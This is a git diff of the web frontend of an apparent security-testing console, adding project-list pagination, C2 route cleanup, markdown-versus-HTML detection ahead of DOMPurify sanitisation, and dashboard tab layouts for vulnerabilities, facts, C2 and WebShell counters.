const items = [{ id: '', name: tp('projects.noProject'), description: tp('projects.noProjectDescription') }, ...activeProjects]; const items = [{ id: '', name: tp('projects.noProject'), description: tp('projects.noProjectDescription') }, ...activeProjects];
if (!items.length) { if (!items.length) {
list.innerHTML = `<div class="chat-project-panel-empty">${escapeHtml(tp('projects.noProjectsClickCreate'))}</div>`; list.innerHTML = `<div class="chat-project-panel-empty">${escapeHtml(tp('projects.noProjectsClickCreate'))}</div>`;
@@ -1535,6 +1708,7 @@ function initChatProjectSelector() {
window._projectsLanguageListenerBound = true; window._projectsLanguageListenerBound = true;
document.addEventListener('languagechange', () => { document.addEventListener('languagechange', () => {
renderProjectsSidebar(); renderProjectsSidebar();
renderProjectsPagination();
updateChatProjectButtonLabel(); updateChatProjectButtonLabel();
const panel = document.getElementById('chat-project-panel'); const panel = document.getElementById('chat-project-panel');
if (panel && panel.style.display === 'flex') renderChatProjectPanelList(); if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
@@ -1594,6 +1768,10 @@ window.restoreProjectFactByKey = restoreProjectFactByKey;
window.openVulnerabilitiesForProject = openVulnerabilitiesForProject; window.openVulnerabilitiesForProject = openVulnerabilitiesForProject;
window.openVulnerabilityDetail = openVulnerabilityDetail; window.openVulnerabilityDetail = openVulnerabilityDetail;
window.filterProjectsList = filterProjectsList; window.filterProjectsList = filterProjectsList;
window.goProjectsPage = goProjectsPage;
window.changeProjectsPageSize = changeProjectsPageSize;
window.parseProjectsListResponse = parseProjectsListResponse;
window.fetchAllProjects = fetchAllProjects;
window.debouncedLoadProjectFacts = debouncedLoadProjectFacts; window.debouncedLoadProjectFacts = debouncedLoadProjectFacts;
window.debouncedLoadProjectVulnerabilities = debouncedLoadProjectVulnerabilities; window.debouncedLoadProjectVulnerabilities = debouncedLoadProjectVulnerabilities;
window.loadProjectVulnerabilities = loadProjectVulnerabilities; window.loadProjectVulnerabilities = loadProjectVulnerabilities;
+7 -24
View File
@@ -56,8 +56,9 @@ function initRouter() {
const hash = window.location.hash.slice(1); const hash = window.location.hash.slice(1);
if (hash) { if (hash) {
const hashParts = hash.split('?'); const hashParts = hash.split('?');
const pageId = hashParts[0]; let pageId = hashParts[0];
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) { if (pageId === 'c2') pageId = 'c2-listeners';
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
switchPage(pageId); switchPage(pageId);
if (pageId === 'chat') { if (pageId === 'chat') {
scheduleChatConversationFromHash(500); scheduleChatConversationFromHash(500);
@@ -105,6 +106,7 @@ function updateNavState(pageId) {
// 移除所有活动状态 // 移除所有活动状态
document.querySelectorAll('.nav-item').forEach(item => { document.querySelectorAll('.nav-item').forEach(item => {
item.classList.remove('active'); item.classList.remove('active');
item.classList.remove('expanded');
}); });
document.querySelectorAll('.nav-submenu-item').forEach(item => { document.querySelectorAll('.nav-submenu-item').forEach(item => {
@@ -202,16 +204,6 @@ function getNavSubmenuItems(navItem) {
return Array.from(submenu.querySelectorAll('.nav-submenu-item')); return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
} }
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
function navigateSingleSubmenuPage(navItem) {
const items = getNavSubmenuItems(navItem);
if (items.length !== 1) return false;
const pageId = items[0].getAttribute('data-page');
if (!pageId) return false;
switchPage(pageId);
return true;
}
// 切换子菜单 // 切换子菜单
function toggleSubmenu(menuId) { function toggleSubmenu(menuId) {
const sidebar = document.getElementById('main-sidebar'); const sidebar = document.getElementById('main-sidebar');
@@ -228,11 +220,6 @@ function toggleSubmenu(menuId) {
return; return;
} }
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
if (navigateSingleSubmenuPage(navItem)) {
return;
}
// 展开状态下切换子菜单,并滚入视口以便看到子项 // 展开状态下切换子菜单,并滚入视口以便看到子项
const willExpand = !navItem.classList.contains('expanded'); const willExpand = !navItem.classList.contains('expanded');
navItem.classList.toggle('expanded'); navItem.classList.toggle('expanded');
@@ -261,10 +248,6 @@ function showSubmenuPopup(navItem, menuId) {
} }
} }
if (navigateSingleSubmenuPage(navItem)) {
return;
}
const navItemContent = navItem.querySelector('.nav-item-content'); const navItemContent = navItem.querySelector('.nav-item-content');
const submenu = navItem.querySelector('.nav-submenu'); const submenu = navItem.querySelector('.nav-submenu');
@@ -482,7 +465,6 @@ async function initPage(pageId) {
loadMarkdownAgents(); loadMarkdownAgents();
} }
break; break;
case 'c2':
case 'c2-listeners': case 'c2-listeners':
case 'c2-sessions': case 'c2-sessions':
case 'c2-tasks': case 'c2-tasks':
@@ -512,9 +494,10 @@ document.addEventListener('DOMContentLoaded', function() {
const hash = window.location.hash.slice(1); const hash = window.location.hash.slice(1);
// 处理带参数的hash(如 chat?conversation=xxx // 处理带参数的hash(如 chat?conversation=xxx
const hashParts = hash.split('?'); const hashParts = hash.split('?');
const pageId = hashParts[0]; let pageId = hashParts[0];
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) { if (pageId === 'c2') pageId = 'c2-listeners';
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
switchPage(pageId); switchPage(pageId);
if (pageId === 'chat') { if (pageId === 'chat') {
scheduleChatConversationFromHash(200); scheduleChatConversationFromHash(200);
+41 -14
View File
@@ -68,9 +68,25 @@
domPurifyHooksInstalled = true; domPurifyHooksInstalled = true;
} }
/** 明显 Markdown 结构时,不应因零散 HTML 标签误判为整页 HTML */
function looksLikeMarkdown(src) {
const s = String(src);
return /^#{1,6}\s/m.test(s)
|| /^\s*[-*+]\s/m.test(s)
|| /^\s*\d+\.\s/m.test(s)
|| /\*\*[^*\n]+\*\*/.test(s)
|| /`[^`\n]+`/.test(s)
|| /^```/m.test(s)
|| /^\|.+\|/m.test(s)
|| /^\s*>\s/m.test(s);
}
/** 探测工具返回的整页 HTML,不宜当作富文本渲染 */ /** 探测工具返回的整页 HTML,不宜当作富文本渲染 */
function isHeavyRawHtml(src) { function isHeavyRawHtml(src) {
const s = String(src); const s = String(src);
if (looksLikeMarkdown(s)) {
return false;
}
if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) { if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) {
return true; return true;
} }
@@ -81,6 +97,10 @@
return tags != null && tags.length >= 8; return tags != null && tags.length >= 8;
} }
function escapePlainTextAsHtml(text) {
return escapeHtmlLocal(text).replace(/\n/g, '<br>');
}
function formatHtmlAsEscapedPre(text) { function formatHtmlAsEscapedPre(text) {
return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>'; return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>';
} }
@@ -115,6 +135,23 @@
* @param {{ profile?: 'chat'|'timeline' }} [options] * @param {{ profile?: 'chat'|'timeline' }} [options]
* @returns {string} 安全 HTML * @returns {string} 安全 HTML
*/ */
function buildRichHtmlFromSource(src) {
const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
const preferMarkdown = typeof marked !== 'undefined'
&& (looksLikeMarkdown(src) || !hasHtmlTags);
if (preferMarkdown) {
const parsed = parseMarkdownSrc(src);
if (parsed != null) {
return parsed;
}
}
if (hasHtmlTags) {
return src;
}
return escapePlainTextAsHtml(src);
}
function formatMarkdownToHtml(text, options) { function formatMarkdownToHtml(text, options) {
const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat'; const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat';
const src = normalizeSource(text); const src = normalizeSource(text);
@@ -124,24 +161,13 @@
} }
if (typeof DOMPurify === 'undefined') { if (typeof DOMPurify === 'undefined') {
return escapeHtmlLocal(src).replace(/\n/g, '<br>'); console.warn('DOMPurify 未加载,Markdown 已降级为纯文本渲染(已转义,防 XSS)');
return escapePlainTextAsHtml(src);
} }
installDomPurifyHooks(); installDomPurifyHooks();
const config = sanitizeConfigForProfile(profile); const config = sanitizeConfigForProfile(profile);
return DOMPurify.sanitize(buildRichHtmlFromSource(src), config);
let html;
const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
if (typeof marked !== 'undefined' && !hasHtmlTags) {
const parsed = parseMarkdownSrc(src);
html = parsed != null ? parsed : escapeHtmlLocal(src).replace(/\n/g, '<br>');
} else if (hasHtmlTags) {
html = src;
} else {
html = escapeHtmlLocal(src).replace(/\n/g, '<br>');
}
return DOMPurify.sanitize(html, config);
} }
function sanitizeRichHtml(html, profile) { function sanitizeRichHtml(html, profile) {
@@ -171,6 +197,7 @@
formatMarkdownToHtml: formatMarkdownToHtml, formatMarkdownToHtml: formatMarkdownToHtml,
sanitizeRichHtml: sanitizeRichHtml, sanitizeRichHtml: sanitizeRichHtml,
isHeavyRawHtml: isHeavyRawHtml, isHeavyRawHtml: isHeavyRawHtml,
looksLikeMarkdown: looksLikeMarkdown,
escapeHtmlLocal: escapeHtmlLocal, escapeHtmlLocal: escapeHtmlLocal,
stripSuspiciousImages: stripSuspiciousImages, stripSuspiciousImages: stripSuspiciousImages,
}; };
+9 -5
View File
@@ -61,21 +61,25 @@ window.syncC2NavOnceFromServer = async function syncC2NavOnceFromServer() {
} }
}; };
// 根据 C2 是否启用显示主导航 C2 入口与仪表盘 C2 块(与 /api/config 的 c2.enabled 一致) // 根据 C2 是否启用显示主导航 C2 入口与仪表盘接入概览中的 C2 块(与 /api/config 的 c2.enabled 一致)
function syncC2NavFromConfig(cfg) { function syncC2NavFromConfig(cfg) {
const on = cfg && cfg.c2 && cfg.c2.enabled !== false; const on = cfg && cfg.c2 && cfg.c2.enabled !== false;
const nav = document.getElementById('nav-c2'); const nav = document.getElementById('nav-c2');
if (nav) { if (nav) {
nav.style.display = on ? '' : 'none'; nav.style.display = on ? '' : 'none';
} }
const dash = document.getElementById('dashboard-section-c2'); const c2Tab = document.getElementById('dashboard-access-tab-c2');
if (dash) { if (c2Tab) {
if (!on) { if (!on) {
dash.hidden = true; c2Tab.hidden = true;
} else { } else {
dash.removeAttribute('hidden'); c2Tab.removeAttribute('hidden');
} }
} }
window.__c2Enabled = on;
if (typeof syncDashboardAccessTabs === 'function') {
syncDashboardAccessTabs();
}
} }
// 切换设置分类 // 切换设置分类
+16 -5
View File
@@ -468,6 +468,11 @@ function showAddSkillModal() {
modal.style.display = 'flex'; modal.style.display = 'flex';
} }
function skillPackagePathDepth(path) {
if (!path) return 0;
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
}
function renderSkillPackageTree() { function renderSkillPackageTree() {
const el = document.getElementById('skill-package-tree'); const el = document.getElementById('skill-package-tree');
if (!el) return; if (!el) return;
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
} }
el.innerHTML = rows.map(f => { el.innerHTML = rows.map(f => {
const path = f.path || ''; const path = f.path || '';
const indent = 8 + skillPackagePathDepth(path) * 14;
if (f.is_dir) { if (f.is_dir) {
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`; const dirLabel = path.endsWith('/') ? path : path + '/';
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
`</div>`;
} }
const sel = path === skillActivePath const selected = path === skillActivePath ? ' is-selected' : '';
? 'font-weight:600;background:rgba(99,102,241,0.12);' return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
: ''; `<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`; `<span class="skill-tree-label">${escapeHtml(path)}</span>` +
`</div>`;
}).join(''); }).join('');
el.querySelectorAll('[data-skill-tree-path]').forEach(node => { el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
node.addEventListener('click', () => { node.addEventListener('click', () => {
+10 -3
View File
@@ -819,12 +819,19 @@ async function refreshBatchProjectSelectOptions() {
projectSelect.innerHTML = `<option value="">${escapeHtml(noneLabel)}</option>`; projectSelect.innerHTML = `<option value="">${escapeHtml(noneLabel)}</option>`;
try { try {
const response = await apiFetch('/api/projects?status=active&limit=200'); let list = [];
if (typeof fetchAllProjects === 'function') {
list = await fetchAllProjects(false);
} else {
const response = await apiFetch('/api/projects?status=active&limit=500');
if (!response.ok) { if (!response.ok) {
throw new Error(_t('projects.loadProjectsFailed')); throw new Error(_t('projects.loadProjectsFailed'));
} }
const projects = await response.json(); const data = await response.json();
const list = Array.isArray(projects) ? projects : []; list = typeof parseProjectsListResponse === 'function'
? parseProjectsListResponse(data).items
: (Array.isArray(data) ? data : (data.projects || []));
}
const activeProjectId = typeof getActiveProjectId === 'function' ? getActiveProjectId() || '' : ''; const activeProjectId = typeof getActiveProjectId === 'function' ? getActiveProjectId() || '' : '';
list.forEach((project) => { list.forEach((project) => {
+23 -16
View File
@@ -855,11 +855,6 @@ function renderVulnerabilities(vulnerabilities) {
if (typeof window.applyTranslations === 'function') { if (typeof window.applyTranslations === 'function') {
window.applyTranslations(listContainer); window.applyTranslations(listContainer);
} }
// 清空分页信息
const paginationContainer = document.getElementById('vulnerability-pagination');
if (paginationContainer) {
paginationContainer.innerHTML = '';
}
return; return;
} }
@@ -960,12 +955,6 @@ function renderVulnerabilityPagination() {
const { currentPage, totalPages, total, pageSize } = vulnerabilityPagination; const { currentPage, totalPages, total, pageSize } = vulnerabilityPagination;
// 如果没有数据,不显示分页控件
if (total === 0) {
paginationContainer.innerHTML = '';
return;
}
// 计算显示范围 // 计算显示范围
const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1; const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total); const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
@@ -1052,13 +1041,23 @@ async function populateVulnerabilityModalProjectSelect(selectedId) {
const sel = document.getElementById('vulnerability-project-id'); const sel = document.getElementById('vulnerability-project-id');
if (!sel) return; if (!sel) return;
try { try {
const res = await apiFetch('/api/projects?limit=200'); let list = [];
if (typeof fetchAllProjects === 'function') {
list = await fetchAllProjects();
} else {
const res = await apiFetch('/api/projects?limit=500');
if (res.ok) { if (res.ok) {
const list = await res.json(); const data = await res.json();
list = typeof parseProjectsListResponse === 'function'
? parseProjectsListResponse(data).items
: (Array.isArray(data) ? data : (data.projects || []));
}
}
if (list.length) {
if (typeof rebuildProjectNameMap === 'function') { if (typeof rebuildProjectNameMap === 'function') {
rebuildProjectNameMap(list); rebuildProjectNameMap(list);
} else if (typeof projectNameById !== 'undefined') { } else if (typeof projectNameById !== 'undefined') {
(list || []).forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; }); list.forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
} }
} }
} catch (e) { } catch (e) {
@@ -1722,9 +1721,17 @@ async function refreshVulnerabilityProjectFilter() {
const sel = document.getElementById('vulnerability-project-filter'); const sel = document.getElementById('vulnerability-project-filter');
if (!sel) return; if (!sel) return;
try { try {
const res = await apiFetch('/api/projects?limit=200'); let list = [];
if (typeof fetchAllProjects === 'function') {
list = await fetchAllProjects(true);
} else {
const res = await apiFetch('/api/projects?limit=500');
if (!res.ok) return; if (!res.ok) return;
const list = await res.json(); const data = await res.json();
list = typeof parseProjectsListResponse === 'function'
? parseProjectsListResponse(data).items
: (Array.isArray(data) ? data : (data.projects || []));
}
if (typeof rebuildProjectNameMap === 'function') { if (typeof rebuildProjectNameMap === 'function') {
rebuildProjectNameMap(list); rebuildProjectNameMap(list);
} else if (typeof projectNameById !== 'undefined') { } else if (typeof projectNameById !== 'undefined') {
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+95 -125
View File
@@ -221,7 +221,6 @@
</svg> </svg>
</div> </div>
<div class="nav-submenu" id="submenu-c2"> <div class="nav-submenu" id="submenu-c2">
<div class="nav-submenu-item" data-page="c2" onclick="switchPage('c2')" data-i18n="nav.c2Manage">C2 管理</div>
<div class="nav-submenu-item" data-page="c2-listeners" onclick="switchPage('c2-listeners')" data-i18n="nav.c2Listeners">监听器</div> <div class="nav-submenu-item" data-page="c2-listeners" onclick="switchPage('c2-listeners')" data-i18n="nav.c2Listeners">监听器</div>
<div class="nav-submenu-item" data-page="c2-sessions" onclick="switchPage('c2-sessions')" data-i18n="nav.c2Sessions">会话</div> <div class="nav-submenu-item" data-page="c2-sessions" onclick="switchPage('c2-sessions')" data-i18n="nav.c2Sessions">会话</div>
<div class="nav-submenu-item" data-page="c2-tasks" onclick="switchPage('c2-tasks')" data-i18n="nav.c2Tasks">任务</div> <div class="nav-submenu-item" data-page="c2-tasks" onclick="switchPage('c2-tasks')" data-i18n="nav.c2Tasks">任务</div>
@@ -574,76 +573,59 @@
</div> </div>
</div> </div>
</section> </section>
<section class="dashboard-section dashboard-section-recent-vulns"> <section class="dashboard-section dashboard-section-recent-feed">
<div class="dashboard-section-header"> <div class="dashboard-section-header dashboard-section-header--tabs">
<h3 class="dashboard-section-title" data-i18n="dashboard.recentVulns">最近漏洞</h3> <nav class="dashboard-feed-tabs" role="tablist" aria-label="最近漏洞与近期事实">
<a class="dashboard-section-link" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a> <button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-feed-tab-vulns" aria-selected="true" aria-controls="dashboard-feed-panel-vulns" onclick="switchDashboardFeedTab('vulns')" data-i18n="dashboard.recentVulns">最近漏洞</button>
<button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-feed-tab-facts" aria-selected="false" aria-controls="dashboard-feed-panel-facts" onclick="switchDashboardFeedTab('facts')" data-i18n="dashboard.recentFacts">近期事实</button>
</nav>
<a class="dashboard-section-link" id="dashboard-feed-view-all" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
</div> </div>
<div class="dashboard-feed-panel" id="dashboard-feed-panel-vulns" role="tabpanel" aria-labelledby="dashboard-feed-tab-vulns">
<div class="dashboard-recent-vulns" id="dashboard-recent-vulns"> <div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
<div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div> <div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
</div> </div>
</section>
<!-- C2 概览:介于「最近漏洞」与「批量任务队列」之间 -->
<section class="dashboard-section dashboard-section-c2" id="dashboard-section-c2" hidden>
<div class="dashboard-section-header">
<h3 class="dashboard-section-title" data-i18n="dashboard.c2OverviewTitle">C2 概览</h3>
<a class="dashboard-section-link" onclick="switchPage('c2')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
</div> </div>
<div class="dashboard-c2-strip"> <div class="dashboard-feed-panel" id="dashboard-feed-panel-facts" role="tabpanel" aria-labelledby="dashboard-feed-tab-facts" hidden>
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器"> <div class="dashboard-recent-facts" id="dashboard-recent-facts">
<span class="dashboard-c2-stat-value" id="dashboard-c2-listeners-running">-</span> <div class="dashboard-recent-facts-empty" id="dashboard-recent-facts-empty" data-i18n="dashboard.noFactsYet">暂无近期事实</div>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
</div>
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
<span class="dashboard-c2-stat-value" id="dashboard-c2-sessions-online">-</span>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
</div>
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
<span class="dashboard-c2-stat-value" id="dashboard-c2-tasks-pending">-</span>
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
</div> </div>
</div> </div>
</section> </section>
<section class="dashboard-section dashboard-section-overview"> <!-- 接入概览:C2 / WebShell Tab 切换(样式同「最近漏洞 / 近期事实」) -->
<div class="dashboard-section-header"> <section class="dashboard-section dashboard-section-access" id="dashboard-section-access" hidden>
<h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3> <div class="dashboard-section-header dashboard-section-header--tabs">
<a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a> <nav class="dashboard-feed-tabs" id="dashboard-access-tabs" role="tablist" aria-label="C2 与 WebShell" data-i18n="dashboard.accessTabsAria" data-i18n-attr="aria-label">
<button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-access-tab-c2" aria-selected="true" aria-controls="dashboard-access-panel-c2" onclick="switchDashboardAccessTab('c2')" data-i18n="nav.c2">C2</button>
<button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-access-tab-webshell" aria-selected="false" aria-controls="dashboard-access-panel-webshell" onclick="switchDashboardAccessTab('webshell')" data-i18n="dashboard.webshellLabel">WebShell</button>
</nav>
<a class="dashboard-section-link" id="dashboard-access-view-all" onclick="switchPage('c2-listeners')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
</div> </div>
<div class="dashboard-overview-list"> <div class="dashboard-feed-panel" id="dashboard-access-panel-c2" role="tabpanel" aria-labelledby="dashboard-access-tab-c2">
<div class="dashboard-overview-item dashboard-overview-item-batch" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }"> <div class="dashboard-access-strip">
<span class="dashboard-overview-icon dashboard-overview-icon-batch" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg></span> <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
<div class="dashboard-overview-content"> <span class="dashboard-access-stat-value" id="dashboard-c2-listeners-running">-</span>
<div class="dashboard-overview-header"> <span class="dashboard-access-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
<span class="dashboard-overview-label" data-i18n="dashboard.batchQueues">批量任务队列</span>
<span class="dashboard-overview-total" id="dashboard-batch-total">-</span>
</div> </div>
<div class="dashboard-overview-stats"> <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
<span class="dashboard-overview-stat dashboard-overview-stat-pending"> <span class="dashboard-access-stat-value" id="dashboard-c2-sessions-online">-</span>
<span class="dashboard-overview-stat-badge badge-pending"></span> <span class="dashboard-access-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
<span class="dashboard-overview-stat-value" id="dashboard-batch-pending">-</span>
<span class="dashboard-overview-stat-label" data-i18n="dashboard.pending">待执行</span>
</span>
<span class="dashboard-overview-stat dashboard-overview-stat-running">
<span class="dashboard-overview-stat-badge badge-running"></span>
<span class="dashboard-overview-stat-value" id="dashboard-batch-running">-</span>
<span class="dashboard-overview-stat-label" data-i18n="dashboard.executing">执行中</span>
</span>
<span class="dashboard-overview-stat dashboard-overview-stat-done">
<span class="dashboard-overview-stat-badge badge-done"></span>
<span class="dashboard-overview-stat-value" id="dashboard-batch-done">-</span>
<span class="dashboard-overview-stat-label" data-i18n="dashboard.completed">已完成</span>
</span>
</div> </div>
<div class="dashboard-overview-progress"> <div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
<div class="dashboard-overview-progress-bar"> <span class="dashboard-access-stat-value" id="dashboard-c2-tasks-pending">-</span>
<div class="dashboard-overview-progress-segment dashboard-overview-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div> <span class="dashboard-access-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
<div class="dashboard-overview-progress-segment dashboard-overview-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
<div class="dashboard-overview-progress-segment dashboard-overview-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
</div> </div>
</div> </div>
</div> </div>
<div class="dashboard-feed-panel" id="dashboard-access-panel-webshell" role="tabpanel" aria-labelledby="dashboard-access-tab-webshell" hidden>
<div class="dashboard-access-strip dashboard-access-strip--webshell">
<div class="dashboard-access-stat dashboard-access-stat--webshell" role="button" tabindex="0" onclick="switchPage('webshell')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('webshell'); }" data-i18n="dashboard.webshellClickConnections" data-i18n-attr="title" title="查看连接">
<span class="dashboard-access-stat-value" id="dashboard-webshell-connections">-</span>
<span class="dashboard-access-stat-label" data-i18n="dashboard.webshellConnections">活跃连接</span>
</div> </div>
</div> </div>
<div class="dashboard-webshell-recent" id="dashboard-webshell-recent" hidden></div>
</div>
</section> </section>
<!-- 推荐操作:基于当前数据状态智能生成(如「修复 4 个待处理严重漏洞」「审批 2 个 HITL」), <!-- 推荐操作:基于当前数据状态智能生成(如「修复 4 个待处理严重漏洞」「审批 2 个 HITL」),
比纯静态导航更有意义;当没有任何推荐时整个 section 隐藏 --> 比纯静态导航更有意义;当没有任何推荐时整个 section 隐藏 -->
@@ -656,6 +638,36 @@
</section> </section>
</div> </div>
<div class="dashboard-side"> <div class="dashboard-side">
<section class="dashboard-section dashboard-section-batch-side">
<div class="dashboard-section-header">
<h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3>
<a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a>
</div>
<div class="dashboard-batch-side-body" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }">
<div class="dashboard-batch-side-total" id="dashboard-batch-total">-</div>
<div class="dashboard-batch-side-stats">
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--pending">
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-pending">-</span>
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.pending">待执行</span>
</div>
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--running">
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-running">-</span>
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.executing">执行中</span>
</div>
<div class="dashboard-batch-side-stat dashboard-batch-side-stat--done">
<span class="dashboard-batch-side-stat-value" id="dashboard-batch-done">-</span>
<span class="dashboard-batch-side-stat-label" data-i18n="dashboard.completed">已完成</span>
</div>
</div>
<div class="dashboard-batch-side-progress" aria-hidden="true">
<div class="dashboard-batch-side-progress-bar">
<div class="dashboard-batch-side-progress-segment dashboard-batch-side-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div>
